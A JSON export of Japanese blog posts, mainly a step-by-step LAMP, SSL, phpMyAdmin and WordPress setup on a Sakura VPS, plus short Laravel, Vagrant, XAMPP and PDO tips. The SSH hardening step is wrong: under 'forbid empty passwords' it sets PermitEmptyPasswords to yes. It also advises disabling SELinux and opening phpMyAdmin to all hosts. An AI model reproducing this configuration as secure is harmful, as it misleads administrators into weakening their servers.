rootユーザーのパスワード聞かれるので入力。\n一般ユーザーに戻るときは「exit」で戻れる。\n次で鍵をローカルで作成するため、exitでサーバーがログアウトしておく。\nSSH公開鍵認証の設定 パスワード認証はセキュリティ的に危険なので、公開鍵認証設定をするのが一般的。\n鍵の作成 ターミナルから、以下コマンド鍵を作成。\nssh-keygen -t rsa -v Generating public/private rsa key pair. Enter file in which to save the key (C:\\Users\\wingm/.ssh/id_rsa): デフォルトの名前で鍵作成するので、上記のようになったら、エンター。\n以下のように、鍵にパスフレーズを設定するよう言われるが、\n今回は無しにしたいので何も入力しないで、エンター、エンター。\nEnter passphrase (empty for no passphrase): Enter same passphrase again: これで公開鍵と秘密鍵ができました。\n作成された鍵の確認します。\nls ~/.ssh id_rsa id_rsa.pub 「id_rsa」は秘密鍵。「id_rsa.pub」は公開鍵。\n公開鍵をサーバに転送 サーバに一般ユーザーでログイン\nssh user@xxx.xxx.xxx.xxx 公開鍵をいれるディレクトリを作成し、一般ユーザーだけが読み込み、書き込み、実行できるように権限を設定。\nmkdir .ssh chmod 700 .ssh ログアウトする。\nexit 以下コマンドで、公開鍵をサーバへ転送する。\nscp ~/.ssh/id_rsa.pub user@xxx.xxx.xxx.xxx:~/.ssh/authorized_keys 鍵を使ってログインする 秘密鍵をつかってログインできるか確認します。\nssh -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxx これで、鍵認証によるログイン設定ができました。\nSSHのセキュリティ設定 SSHのセキュリティ設定します。\n今回行うのは以下\nポート番号の変更 パスワード認証の禁止 空白パスワードの禁止 rootによるSSH接続禁止 SSHの設定ファイルのバックアップ 設定ファイルのバックアップをとっておきます。\nsudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.org 設定ファイルの編集 sudo vi /etc/ssh/sshd_config 以下の箇所を変更\n//ポートの変更 #Port 22 ↓ Port 45454 //空白パスワードの禁止 #PermitEmptyPasswords no ↓ PermitEmptyPasswords yes //パスワード認証の禁止 PasswordAuthentication yes ↓ PasswordAuthentication no //rootによるSSH接続禁止 #PermitRootLogin yes ↓ PermitRootLogin no 保存したら、構文が正しいか確認コマンド入力\nsudo sshd -t 何もなければOK\n設定を反映させるためsshdの再起動\nsudo systemctl restart sshd ファイアウォールの設定 ファイルのコピー\nsudo cp /usr/lib/firewalld/services/ssh.xml /etc/firewalld/services/ssh-45454.xml xmlファイルの編集。\nsudo vi /etc/firewalld/services/ssh-45454.xml 以下の箇所を変更\n\u0026lt;port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;22\u0026#34;/\u0026gt; ↓ \u0026lt;port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;45454\u0026#34;/\u0026gt; ファイアウォールの設定を反映させる。\nsudo firewall-cmd --reload success sudo firewall-cmd --permanent --add-service=ssh-45454 success sudo firewall-cmd --reload success 変更を確認。\nsudo firewall-cmd --list-all public (active) target: default icmp-block-inversion: no interfaces: eth0 sources: services: dhcpv6-client http ssh https ssh-45454 ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: servicesに、ssh-45454に追加されているのを確認します。\nSSHの接続確認 SSHのセキュリティ設定が上手くいっているか、接続確認します。\n万が一、設定が間違えてログインできないというのを防ぐために、もう一つ別のターミナルで起動して接続確認を行います。\nsshコマンドでログイン接続します。\nssh -p 45454 -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxxx ファイアウォールで22番ポート（ssh）接続の設定をはずすため、以下のコマンドを入力。\nsudo firewall-cmd --permanent --remove-service=ssh sudo firewall-cmd --reload 確認します。\nsudo firewall-cmd --list-all public (active) target: default icmp-block-inversion: no interfaces: eth0 sources: services: dhcpv6-client http https ssh-45454 ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: servicesにsshが削除されていることを確認します。\n最後に、ログアウトしてSSH接続ができることを確認します。\nexit ssh -p 45454 -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxx ちなみに、秘密鍵名を「id_rsa」にしている場合、以下のように鍵の指定コマンドを省略して接続することができる。\nssh -p 45454 user@xxx.xxx.xxx.xxx これで、SSHのセキュリティ設定は一通り終わり。\nApacheのインストール Apacheのインストールをします。\nsudo yum install httpd Apacheの起動をします。\nsudo systemctl start httpd 起動しているか確認します。\nsudo systemctl status httpd Active: active (running)となっていればOK。\n80番ポートと443番ポートをあける http接続に使う80番ポートと、https接続で使う443番ポートがファイアウォールで閉じられいるので、開ける設定をします。\nsudo firewall-cmd --add-service=http --zone=public --permanent sudo firewall-cmd --add-service=https --zone=public --permanent firewalldを再起動します。\nsudo systemctl restart firewalld.service 設定の確認をします。\nsudo firewall-cmd --list-all public (active) target: default icmp-block-inversion: no interfaces: eth0 sources: services: dhcpv6-client ssh-45454 http https ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: services:にhttpとhttps追加されていることを確認。\nブラウザで確認 ブラウザで確認をするため、ブラウザを起動。\n契約したIPアドレスをブラウザで表示確認。\nApacheのテストページが確認できればOK\n自動起動設定 Apacheが自動起動になるよう設定。\nsudo systemctl enable httpd 設定確認します。\nsudo systemctl list-unit-files -t service | grep httpd httpd.service enabled httpd.service　enabledと表示されればOK\nドキュメントルートの権限の設定 /var/www/のhtmlディレクトリの中に、htmlファイルを置くことでWEBアプリを公開できます。\nしかし、現在、権限がroot:rootになっているので所有権の設定を変更します。\nまず、 htmlディレクトリを扱えるグループを新規作成します。\nsudo groupadd webusers このグループに一般ユーザの「user」も追加します。\nsudo usermod -aG webusers user 所有権の設定を変更します。\nsudo chown apache:webusers /var/www/html/ sudo chmod -R 775 /var/www/html/ 設定を反映させるために、一度ログアウトしてから、ログインしてください。\nindex.htmlの作成して「Hello World!」の表示 ドキュメントルートである/var/www/html/は、まだ空なのでhtmlファイルを作成します。\nsudo vi /var/www/html/index.html index.htmlを開いたら、以下のように記述\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; Hello World! \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 契約したIPアドレスをブラウザで表示確認します。\n「Hello World!」と表示さればOK\n「Forbidden You don\u0026rsquo;t have permission to access」と出る場合は、SELinuxの無効化します。\n一時的に無効化する場合は以下\nsetenforce 0 永続的に無効化する場合は以下\nsudo vi /etc/selinux/config #SELINUX=enforcing SELINUX=disabled EPELリポジトリとremiリポジトリのインストール EPELリポジトリとremiリポジトリがインストールされているか確認\nyum repolist EPELリポジトリのインストール sudo yum install epel-release remiリポジトリのインストール remiレポジトリの公式サイトからURLを確認して、以下のコマンドを入力。\nsudo yum localinstall https://rpms.remirepo.net/enterprise/remi-release-7.rpm 完了したら、インストールされているリポジトリを確認します。\nyum repolist PHPのインストール インストールできるPHPのバージョンを確認する。\nyum list available | grep php- php-commonの箇所からバージョンを確認。\nPHPをインストールします。\nsudo yum --enablerepo=remi-php71 install php php-devel php-mysql php-gd php-mbstring バージョンの確認。\nphp -v Apacheの再起動\nsudo systemctl restart httpd php.iniの設定 バックアップを取って、開く、\nsudo cp /etc/php.ini /etc/php.ini.org sudo vi /etc/php.ini 以下の箇所を変更\npost_max_size = 8M ↓ post_max_size = 128M upload_max_filesize = 2M ↓ upload_max_filesize = 128M 設定を反映をさせるため、Apacheの再起動\nsudo systemctl restart httpd ブラウザでの確認 index.phpを作成する\nsudo vi /var/www/html/index.php index.phpを以下のように編集。\n\u0026lt;?php phpinfo(); 契約したIPアドレスでindex.phpへブラウザアクセスする。\nhttp://xxx.xxx.xxx.xxx/index.php PHP の設定情報を出力されていればOK。\nMySQLのインストール MariaDBの削除 MariaDBがインストールされているか確認。\nrpm -qa | grep maria 競合を避けるため、MariaDBの削除\nsudo yum remove mariadb-libs sudo rm -rf /var/lib/mysql MySQLインストール MySQLにyumリポジトリをインストールします。\nMySQLの公式サイトで最新リポジトリURLをコピーしてきます。\n公式サイトで以下の「Download」ボタンクリック\n次のページの下にある「」のリンクURLをコピーします。\n今回の最新版は、「https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm」だったので、以下のようにリポジトリをインストールします。\nsudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm このままインストールすると、最新の8.0がインストールされます。\n5.7のバージョンをインストールしたい場合は、以下のコマンドを入力。\nsudo yum-config-manager --disable mysql80-community sudo yum-config-manager --enable mysql57-community インストールされるバージョンを確認。\nsudo yum repolist enabled | grep mysql MySQLインストールします。\nsudo yum install mysql-community-server バージョンの確認します。\nmysqld --version MySQLを起動します。\nsudo systemctl start mysqld MySQLの設定 MySQLのrootのパスワードを確認します。\ncat /var/log/mysqld.log | grep \u0026#39;temporary password\u0026#39; A temporary password is generated for root@localhost: xxxxxxxxxxx xxxxxxxxxxxの部分がrootユーザの初期パスワードです。\nあたらしくパスワードを設定します。\nmysql_secure_installation 初期パスワードを使って、新しいパスワードを新しく設定します。\nMySQLにログインします。\nmysql -u root -p パスワードを聞かれたら、新しく設定したパスワードを入力してログイン。\nデータベースー覧の表示してみます。\nmysql\u0026gt; show databases; 一旦、「exit」でログアウトします。\n文字コードをUTF-8にしておきます。\nsudo vi /etc/my.cnf ファイルを開いたら、最後の行に以下内容を追記。\ncharacter-set-server=utf8 mysqldを再起動します。\nsudo systemctl restart mysqld 自動起動の設定 OS起動時に自動起動するように設定しまうｓ。\nsudo systemctl enable mysqld 設定の確認をします。\nsystemctl list-unit-files -t service | grep mysql mysqld.service　enabledとなっていればOK。\nここまでで、ひととおりLAMP環境構築は完了。\nDNSの設定 各自、ドメイン取得サービスでドメインを購入などしておいてください。\nドメイン取得サービスの管理画面でDNSの設定を行ってください。\nやり方は、 ドメイン取得サービスごとに異なるので割愛します。\nSSL化の設定 SSLは、Let\u0026rsquo;s Encryptは使用します。\nバーチャルホストの設定 バーチャルホストの設定ファイルを作成します。\nsudo vi /etc/httpd/conf.d/ドメイン名.conf 以下のように記述してください。\n\u0026lt;Virtualhost *:80\u0026gt; DocumentRoot /var/www/html ServerName ドメイン名 \u0026lt;/Virtualhost\u0026gt; 設定ファイルの構文が正しいかチェック\napachectl configtest Syntax OK Apacheの再起動\nsudo systemctl restart httpd certbotのインストール sudo yum install certbot-apache 証明書のインストール sudo certbot --apache メールアドレスを入力して、同意文書に(A)greeし、メールが送られていいかの有無を選択します。\nドメインの選択では、該当の番号入力してエンター。\nリダイレクト（httpをhttpsへ）の設定に関しては、2番を選択。\nブラウザで確認 ブラウザへhttpsでちゃんと表示できる確認。また、httpでアクセスしてhttpsへリダイレクトされるか確認します。\nSSLの更新 まずは、証明書の期限の確認。\nsudo certbot certificates Expiry date:のVALID: ●● daysの部分が残りの日数です。\n証明書の期限が30日未満場合に更新をする場合は、以下のコマンドを入力\nsudo certbot renew もし、強制的に更新したい場合は以下のように入力\nsudo certbo renew --force-renew cronで自動更新する設定を行います。\nsudo vi /etc/crontab ファイルが開いたら以下のように記述します。今回は毎日午前3時にcertbotコマンドを実行するに設定します。\n# Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | | # * * * * * user-name command to be executed 0 3 * * * root /usr/bin/certbot renew phpMyAdminのインストール phpMyAdminをインストールします。\nremiリポジトリにしかないphp7.1系のパッケージをあわせてインストールをするため、以下のコマンドを入力します。\nsudo yum -y install --enablerepo=remi,remi-php71 phpMyAdmin 設定ファイルの編集 バックアップをとって編集する。\ncp /etc/httpd/conf.d/phpMyAdmin.conf /etc/httpd/conf.d/phpMyAdmin.conf.org sudo vi /etc/httpd/conf.d/phpMyAdmin.conf 「/usr/share/phpMyAdmin/」ディレクティブを変更\nまず、どこからでもアクセスできるようにします。\n\u0026lt;Directory /usr/share/phpMyAdmin/\u0026gt; AddDefaultCharset UTF-8 \u0026lt;IfModule mod_authz_core.c\u0026gt; # Apache 2.4 Require local ↓ \u0026lt;Directory /usr/share/phpMyAdmin/\u0026gt; AddDefaultCharset UTF-8 \u0026lt;IfModule mod_authz_core.c\u0026gt; # Apache 2.4 Require all granted また、SSL通信のみ許可できるように設定します。\n\u0026lt;Directory /usr/share/phpMyAdmin/\u0026gt; AddDefaultCharset UTF-8 \u0026lt;IfModule mod_authz_core.c\u0026gt; ↓ \u0026lt;Directory /usr/share/phpMyAdmin/\u0026gt; AddDefaultCharset UTF-8 SSLRequireSSL \u0026lt;IfModule mod_authz_core.c\u0026gt; ApacheがSSLを使用できるように、モジュールがインストールされていいなければインストールします。\n以下コマンドでインストールの確認。\nsudo httpd -M | grep ssl_module インストールしていなければ、以下でインストールします。\nyum install mod_ssl Apacheの再起動\nsudo systemctl restart httpd ブラウザでアクセス 契約したIPアドレスの「/phpMyAdmin/」にアクセスする。\nhttp://xxx.xxx.xxx.xxx/phpMyAdmin/ phpMyAdminのログイン画面が表示されればOK。\nWordPressのインストール WordPressをインストールしていきます。\nまず、WordPress用のデータベースを作成していきます。\nDBの作成 MySQLにログインします\nmysql -u root -p データベースを作成\ncreate database wp; MySQLユーザの作成 create user \u0026#39;wp_user\u0026#39;@\u0026#39;localhost\u0026#39; identified with mysql_native_password by \u0026#39;password\u0026#39;; \u0026lsquo;wp_user\u0026rsquo;と\u0026rsquo;password\u0026rsquo;は、各自好きなように設定。\n作成したユーザーが、先ほど作成した「wp」データべースを扱えるようにします。\ngrant all privileges on wp.* to \u0026#39;wp_user\u0026#39;@\u0026#39;localhost\u0026#39;; 設定の反映を行います。\nflush privileges; 確認して、ログアウト。\nshow databases; exit WordPressをダウンロード wgetがインストールされているか確認。\nyum list installed | grep wget インストールされていなければ、以下でインスール。\nsudo yum install wget WordPressの公式サイトで、.tar.gz形式のURLをコピーしてくる。\ntmpディレクトリへダウンロードします。\ncd /tmp wget https://ja.wordpress.org/latest-ja.tar.gz 展開して、ドキュメントルートに移動する。\nsudo tar -zxvf latest-ja.tar.gz -C /var/www/ 権限の変更をします。\nsudo chown -R apache:webusers /var/www/wordpress ドキュメントルートの変更 ドキュメントルートを変更します。\nsudo vi /etc/httpd/conf/httpd.conf 以下の箇所を変更します。\nDocumentRoot \u0026#34;/var/www/html\u0026#34; ↓ DocumentRoot \u0026#34;/var/www/wordpress\u0026#34; \u0026lt;Directory \u0026#34;/var/www/\u0026#34;\u0026gt; ↓ \u0026lt;Directory \u0026#34;/var/www/wordpress\u0026#34;\u0026gt; バーチャルホストの方もドキュメントルートを修正 80番ポートの方の設定をします。\nsudo vi /etc/httpd/conf.d/ドメイン名.conf 以下のように編集\nDocumentRoot /var/www/html ↓ DocumentRoot /var/www/wordpress 同様に443番ポートの方の設定をします。\nsudo vi /etc/httpd/conf.d/ドメイン名-le-ssl.conf 以下のように編集\nDocumentRoot /var/www/html ↓ DocumentRoot /var/www/wordpress Apacheの設定ファイルの構文が正しいかチェック\nsudo apachectl configtest Syntax OK Apacheの再起動\nsudo systemctl restart httpd ブラウザで確認 契約したIPアドレスにアクセスする。\nhttp://xxx.xxx.xxx.xxx/ WordPressの設定画面が表示されればOK。\n「さぁ、始めましょう！」のボタンクリックして、各種設定したデーターベース情報を入力すればWordPressを使用できるようになります。\n","permalink":"https://pop-web.github.io/server/linux/vps-lamp/","summary":"\u003cp\u003eさくらVPSでLAMP環境構築手順の説明します。\u003c/p\u003e\n\u003cp\u003eLAMP環境構築ですが 、 プラスアルファとしてSSL化、 Git・phpMyAdmin・Wordpressのインストールもします。\u003c/p\u003e","title":"【さくらVPS】LAMP環境構築手順"},{"content":"SSH接続しようとしたら、「WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!」っていうのが出た。\nエラーの原因 サーバのOSを再インストールしたときなどによく出る。\nSSH接続するときに安全に接続するため、接続先のサーバー情報をクラインと側に保存する。その保存情報が以前接続した情報と一致しない場合は接続エラーになる。\n解決方法 保存される情報は、「known_hosts」に保存されるので、この中の接続したいサーバ情報を削除してあげればいい。\n削除するコマンドは以下\nssh-keygen -R ホスト名 ","permalink":"https://pop-web.github.io/server/linux/warning-remote-host-identification-has-changed/","summary":"\u003cp\u003eSSH接続しようとしたら、「WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!」っていうのが出た。\u003c/p\u003e\n\u003ch2 id=\"エラーの原因\"\u003eエラーの原因\u003c/h2\u003e\n\u003cp\u003eサーバのOSを再インストールしたときなどによく出る。\u003c/p\u003e\n\u003cp\u003eSSH接続するときに安全に接続するため、接続先のサーバー情報をクラインと側に保存する。その保存情報が以前接続した情報と一致しない場合は接続エラーになる。\u003c/p\u003e","title":"SSH接続でWARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!が出たときの対処法"},{"content":"DBのメインテーブルからサブテーブルへリレーションさせて、メインテーブル側から値を取得しようとしたらエラー**「Trying to get property \u0026rsquo;time\u0026rsquo; of non-object」**が出た。\nコントロール側での値の呼び出し方はこんな感じ。\nfunction getTime(){ $time = $this-\u0026gt;hasOne(\u0026#39;App\\Time\u0026#39;)-\u0026gt;first()-\u0026gt;time; } そして、view側ではforeashでまわす。\n@foreach($item-\u0026gt;getTime() as $yobi =\u0026gt; $time) \u0026lt;dl class=\u0026#34;col-sm\u0026#34;\u0026gt; \u0026lt;dt\u0026gt;{{$yobi}}\u0026lt;/dt\u0026gt; \u0026lt;dd\u0026gt;{{$time}}\u0026lt;/dd\u0026gt; \u0026lt;/dl\u0026gt; @endforeach 原因は、リレーション先の値（time）が全て無いため。 foreachで回す場合、メインテーブルとサブテーブルでリレーションは同じだけ用意しないとエラーが出る。\nでも、サブテーブルの情報が全てそろってないことがほとんど。\nなので、ない場合はNullで返すか、値を呼び出さないようにすればよい。\n解決方法は２パターン 解決方法は２つある。\nヘルパー関数「optional()」を使う if文でNullでないことを確認する ヘルパー関数「optional()」を使う ヘルパー関数「optional()」は、リレーション先の値がない場合Nullで返してくれる関数。\n$time = optional($this-\u0026gt;hasOne(\u0026#39;App\\Time\u0026#39;)-\u0026gt;first())-\u0026gt;time; if文でNullでないことを確認する こっちの方がよくあるパターン。単純にNullでなかったら、値を返すというもの。\n$time = $this-\u0026gt;hasOne(\u0026#39;App\\Time\u0026#39;)-\u0026gt;first()-\u0026gt;time; if($time != null){ return $time; } これら2つのどっちかで、non-objectエラーは回避できる。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-relation-erroe/","summary":"\u003cp\u003eDBのメインテーブルからサブテーブルへリレーションさせて、メインテーブル側から値を取得しようとしたらエラー**「Trying to get property \u0026rsquo;time\u0026rsquo; of non-object」**が出た。\u003c/p\u003e","title":"Laravel リレーション先の値がなくて、Trying to get property of non-objectがでちゃった"},{"content":"Laravelで、トップページは表示できるけど他のページに飛ぶとなぜか404になっちゃう時に確認すべきことのメモ。\nhttpd.confを確認する ドキュメントルートのディレクティブ内の「AllowOverride」が「None」になってたら、「All」に変更しておく。\n\u0026lt;Directory \u0026#34;/var/www/html\u0026#34;\u0026gt; AllowOverride All \u0026lt;/Directory\u0026gt; AllowOverride Noneになっていると、 .htaccessが無効になるので、Allにして有効に。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-404-not-found/","summary":"\u003cp\u003eLaravelで、トップページは表示できるけど他のページに飛ぶとなぜか404になっちゃう時に確認すべきことのメモ。\u003c/p\u003e\n\u003ch2 id=\"httpdconfを確認する\"\u003ehttpd.confを確認する\u003c/h2\u003e\n\u003cp\u003eドキュメントルートのディレクティブ内の「AllowOverride」が「None」になってたら、「All」に変更しておく。\u003c/p\u003e","title":"Laravelでルート以外のページが404（Not Found）になっちゃった時の対処"},{"content":"ローカルの作業フォルダとVirtualBoxで作った開発環境内のフォルダを自動で同期する共有フォルダの設定手順です。\nVagrantとVirtualBoxがインストールしている前提です。\nソフトフェアの更新 sudo yum -y update kernelがkernel-headerとバージョンが異なると、うまくいかないので確認しておく。\nsudo yum list installed | grep kernel 再起動しておく。\nreboot パスワードを聞かれたら、vagrantの初期パスワードは「vagrant」なので、それを入力する。\nプラグイン「vbguest」のインストール vagrantの作業 ディレクトリに移動して、vbguestをインストールします。\nvagrant plugin install vagrant-vbguest 「Installed the plugin \u0026lsquo;vagrant-vbguest (x.xx.x)\u0026rsquo;!」とでればOK。\nVagrantを起動します。\nvagrant up ステータスの確認します。\nvagrant vbguest --status 「[default] GuestAdditions バージョン running \u0026mdash; OK 」とでればOKですが、 「[default] No installation found. 」とでるなら、以下のコマンドを入力\nvagrant vbguest vbguestは、仮想マシン起動時にGuest Additionsのバージョンを自動でアップデートしてしまいます。\nそのため、kernelアップデート時に依存しているパッケージは再度コンパイルが必要となるため弊害があるため、 自動的にGuest Additionsのアップデートを行わない設定にします。\nVagrantfileを以下のように記述します。\nVagrant.configure(\u0026#34;2\u0026#34;) do |config| config.vbguest.auto_update = false config.vbguest.no_remote = true 「config.vbguest.auto_update」は、 agrant up時に自動的にGuest Additionsのアップデートを行わない設定 「config.vbguest.no_remote 」は、isoファイルをリモートからダウンロードしない設定 ホストマシンと仮想マシンの共有フォルダの設定 Vagrantfileを編集します。\n以下のように、記述して共有フォルダの設定をします。\nconfig.vm.synced_folder \u0026#34;[ホストOS]\u0026#34;, \u0026#34;[仮想マシン]\u0026#34;, \u0026#34;[オプション] Windowsの場合、/は\\\\にする必要があります。\n例）config.vm.synced_folder \u0026#34;C:\\\\project\u0026#34;, \u0026#34;/var/www/html/project \u0026#34; 編集したら、再読み込みをします。\nvagrant reload vagrant up ","permalink":"https://pop-web.github.io/server/vagrant/vagrant-shared-folder/","summary":"\u003cp\u003eローカルの作業フォルダとVirtualBoxで作った開発環境内のフォルダを自動で同期する共有フォルダの設定手順です。\u003c/p\u003e\n\u003cp\u003eVagrantとVirtualBoxがインストールしている前提です。\u003c/p\u003e","title":"Vagrantでローカルとサーバ側のデータを同期する共有フォルダの設定手順"},{"content":"Laravelの認証機能をつかって、よくあるログイン機能を作っていきます。\nLaravelインストール 適当なプロジェクト名でLaravelをインストールします。\ncomposer create-project --prefer-dist laravel/laravel laravel_login データベースの設定 データベースは、MySQLを使用します。\n.envファイルを開いて以下ののように、データベース名、ユーザー名、パスワードを設定ます。\nDB_DATABASE=login_db DB_USERNAME=root DB_PASSWORD= データベースの作成 データベースの設定で記述したデータベース名でデータベースを作成します。\nMySQLにログインします。 \u0026gt;mysql -u root mysqlコマンドが使えない場合は、Pathを追加する必要があります。\nXAMPPでMySQLコマンドを使えるようにする方法【Windows10】\nデータベース作成 mysql\u0026gt; create database login_db; 作成されたか確認しておきます。\nmysql\u0026gt; show databases; できたら一旦、MySQLを終了しておきます。\nmysql\u0026gt; exit; マイグレーションを実行する \u0026gt;php artisan migrate Migration table created successfully. Migrating: 2014_10_12_000000_create_users_table Migrated: 2014_10_12_000000_create_users_table Migrating: 2014_10_12_100000_create_password_resets_table Migrated: 2014_10_12_100000_create_password_resets_table 認証機能を作るartisanコマンドを実行する \u0026gt;php artisan make:auth Authentication scaffolding generated successfully. これでなんと、認証機能に最低限必要なファイルは生成されていまうんです。\n以下の3つの機能が実装されています。\nログイン 登録 パスワードリセット ブラウザで確認します。\n「/home」へアクセスしてください。\nこんな感じで、ログインフォームやら、登録機能やらができあがっています。\n動作確認 「登録」や「ログイン」、「パスワードリセット」を実際に動作するか確認しておきます。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-login/","summary":"\u003cp\u003eLaravelの認証機能をつかって、よくあるログイン機能を作っていきます。\u003c/p\u003e\n\u003ch2 id=\"laravelインストール\"\u003eLaravelインストール\u003c/h2\u003e\n\u003cp\u003e適当なプロジェクト名でLaravelをインストールします。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecomposer create-project --prefer-dist laravel/laravel laravel_login\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"データベースの設定\"\u003eデータベースの設定\u003c/h2\u003e\n\u003cp\u003eデータベースは、MySQLを使用します。\u003c/p\u003e","title":"Laravelでログイン機能の作り方手順【XAMPP】"},{"content":"XAMPPをインストールして、さぁMySQLコマンドを使って、MySQLにログインしようと\n\u0026gt;mysql -u root \u0026#39;mysql\u0026#39; は、内部コマンドまたは外部コマンド、 操作可能なプログラムまたはバッチ ファイルとして認識されていません。 MySQLコマンドが使えないとでるので、使えるようにする手順を書きます。\n環境変数のPathに追加する MySQLコマンドを使えるようにするには、環境に変数にPathを追加するだけ。\n追加する場所は、Windowsの検索窓の「環境変数」と入力します。\n「システム環境変数の編集」がヒットするのでそれを選択し、さらに現れたウィンドウの中の「環境変数」をクリックします。\n表示された環境変数のウィンドウのリストから「Path」を選択して「編集」ボタンをクリックして編集していきます。\nそして、以下のパスを追加します。\nC:\\xampp\\mysql\\bin コマンドの実行 \u0026gt;mysql -u root Welcome to the MariaDB monitor. Commands end with ; or \\g. Your MariaDB connection id is 5638 Server version: 10.1.35-MariaDB mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type \u0026#39;help;\u0026#39; or \u0026#39;\\h\u0026#39; for help. Type \u0026#39;\\c\u0026#39; to clear the current input statement. MariaDB [(none)]\u0026gt; こんな感じに実行されれば完了です。\n","permalink":"https://pop-web.github.io/programming/db/xampp-mysql-command/","summary":"\u003cp\u003eXAMPPをインストールして、さぁMySQLコマンドを使って、MySQLにログインしようと\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026gt;mysql -u root\n\u0026#39;mysql\u0026#39; は、内部コマンドまたは外部コマンド、\n操作可能なプログラムまたはバッチ ファイルとして認識されていません。\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eMySQLコマンドが使えないとでるので、使えるようにする手順を書きます。\u003c/p\u003e","title":"XAMPPでMySQLコマンドを使えるようにする方法【Windows10】"},{"content":"PHPで、PDOクラスを使ってMySQLのデータベースへ接続するときのソースです。\n\u0026lt;?php //DBユーザー名 $user = \u0026#34;testuser\u0026#34;; //DBパスワード $password = \u0026#34;passwd\u0026#34;; //利用するデータベース名 $dbName = \u0026#34;testdb\u0026#34;; //MySQLサーバ名 $host = \u0026#34;localhost\u0026#34;; //MySQLのDNS（Data Source Name）文字列 $dsn = \u0026#34;mysql:host={$host};dbname={$dbName};charset=utf8\u0026#34;; //MySQLデータベースに接続する try{ $pdo = new PDO($dsn,$user,$password); //PDOクラスのエミュレーションを無効にする $pdo-\u0026gt;setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //例外をスローする設定にする $pdo-\u0026gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); echo \u0026#34;データベース{$dbName}に接続しました。\u0026#34;; }catch(Exception $e){ echo \u0026#34;データベース接続エラーです\u0026#34;; echo $e-\u0026gt;getMessage(); exit(); } ?\u0026gt; ","permalink":"https://pop-web.github.io/programming/php/php-mysql-pdo/","summary":"\u003cp\u003ePHPで、PDOクラスを使ってMySQLのデータベースへ接続するときのソースです。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e//DBユーザー名\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003e$user\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;testuser\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e//DBパスワード\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003e$password\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;passwd\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e//利用するデータベース名\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003e$dbName\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;testdb\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e//MySQLサーバ名\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003e$host\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;localhost\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e//MySQLのDNS（Data Source 